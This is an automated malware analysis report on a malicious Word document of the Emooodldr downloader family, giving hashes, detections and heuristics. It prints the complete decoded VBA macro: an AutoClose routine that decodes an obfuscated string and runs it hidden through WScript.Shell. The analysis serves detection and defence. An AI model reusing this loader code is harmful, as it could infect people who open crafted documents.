Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 c4313ab89c3d94ab…

MALICIOUS

Office (OOXML)

53.6 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 9e9019bf73721932fae204e518434f9a SHA-1: 615223858659a63d29e41606003fc2c099d24bf3 SHA-256: c4313ab89c3d94ab70185df327c664379490b263d47057543a5d7ab40e2ee588
350 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing obfuscated VBA macros, specifically an AutoClose macro that utilizes CreateObject and Shell calls. This indicates an attempt to download and execute a second-stage payload, consistent with the Emooodldr family. The ClamAV detection further supports this classification.

Heuristics 8

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If uncontentious - stickhandler > 1 Then
       CreateObject(Join(Array(aerenterectasia, "Shell"), ".")).Run jacobinism, 0
       solanders = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "nitrates", halolike
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If uncontentious - stickhandler > 1 Then
       CreateObject(Join(Array(aerenterectasia, "Shell"), ".")).Run jacobinism, 0
       solanders = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  brainchild = Array("A", "2", "5", "c", "h", "C", "s", "7", "s", "u", "5", "c", "c", "n", "i", "w", "w", "h", "a", "s", "h", "T", "2", "t", "T", "t", "h", "N", "s", "3", "A", "h", "2", "T", "t", "C", "", "3", "A", "w", "8", "g", "g", "w", "Q", "x", "s", "s", "q", "C", "n", "5", "n", "4", "z", "c", "A", "h", "0", "N", "k", "T", "s", "r", "3", "T", "a")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2274 bytes
SHA-256: 3a95c73ed7fb80293ccd6f27f0ea2742f88405de16eb7a01eb32b2ad17156cd8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function phrenologically(brainchild)
  unsuperscribed = Array("h", "", "N", "5", "A", "2", "q", "k", "t", "w", "r", "u", "x", "C", "g", "T", "3", "Q", "i", "c", "4", "0", "7", "z", "s", "a", "8", "n")
  multilirate = Array("a", "c", "w", "h", "m", "s", "d", "i", "y", "/", "f", " ", "r", ".", "B", "n", "o", "g", ":", "t", "?", "=", "x", "u", "e", "k", "F", "p")
  
  pyroxenoid = vbNullString
  
  For Each meroplankton In brainchild
    quinquenniums = seismography(meroplankton, unsuperscribed, UBound(unsuperscribed))
    If quinquenniums > -1 Then
    pyroxenoid = multilirate(quinquenniums) & pyroxenoid
    End If
  Next
  
  phrenologically = StrReverse(pyroxenoid)
  
End Function

Public Function seismography(pleuropterygii, mesmerist, socratical)
  heterogenicity = 5553
  ventroaxillary = 772
  For heterogenicity = 0 To socratical
    If mesmerist(heterogenicity) = pleuropterygii And heterogenicity > -1 Then
     ventroaxillary = heterogenicity
    End If
  Next

  If ventroaxillary = 772 Then
    ventroaxillary = -1
  End If
  
  seismography = ventroaxillary
End Function

Sub AutoClose()
  brainchild = Array("A", "2", "5", "c", "h", "C", "s", "7", "s", "u", "5", "c", "c", "n", "i", "w", "w", "h", "a", "s", "h", "T", "2", "t", "T", "t", "h", "N", "s", "3", "A", "h", "2", "T", "t", "C", "", "3", "A", "w", "8", "g", "g", "w", "Q", "x", "s", "s", "q", "C", "n", "5", "n", "4", "z", "c", "A", "h", "0", "N", "k", "T", "s", "r", "3", "T", "a")
  halolike = phrenologically(brainchild)
  
  Application.Run "nitrates", halolike
  
End Sub


Private Sub nitrates(jacobinism)
   
   aerenterectasia = "WScript"
   stickhandler = 3271
   solanders = True
   
   While solanders
     uncontentious = stickhandler + 60
     If uncontentious - stickhandler > 1 Then
       CreateObject(Join(Array(aerenterectasia, "Shell"), ".")).Run jacobinism, 0
       solanders = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: dabfbdc2121884d174788d2c8b40b955ccfe2827d8502b5729db8132d78f72c3
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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